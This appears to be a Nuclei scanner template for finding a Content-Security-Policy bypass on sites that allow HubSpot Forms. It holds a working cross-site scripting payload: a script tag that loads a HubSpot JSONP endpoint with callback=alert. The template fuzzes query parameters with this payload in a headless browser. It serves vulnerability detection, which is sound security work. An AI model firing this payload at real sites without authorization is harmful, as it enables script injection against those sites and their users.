hubspot-forms-csp-bypass: Content-Security-Policy Bypass - HubSpot Forms

id: hubspot-forms-csp-bypass

info:
  name: Content-Security-Policy Bypass - HubSpot Forms
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,hubspot-forms,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "hubspot.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: hubspot_forms_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://forms.hubspot.com/embed/v3/form/2059467/2e1a1b5b-27bb-447d-aac4-0b87c1e88fec?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "hubspot_forms_csp_xss == true"
# digest: 4a0a00473045022100973d1062cc55744b061e035b049b539d05ba368bdf20ce480b9e0f8fe04d1b1902205fd4c4fdadb60f38af0663c552c15c0042a99748922f37adac97903c66343a40:922c64590222798bb761d5b6d8e72950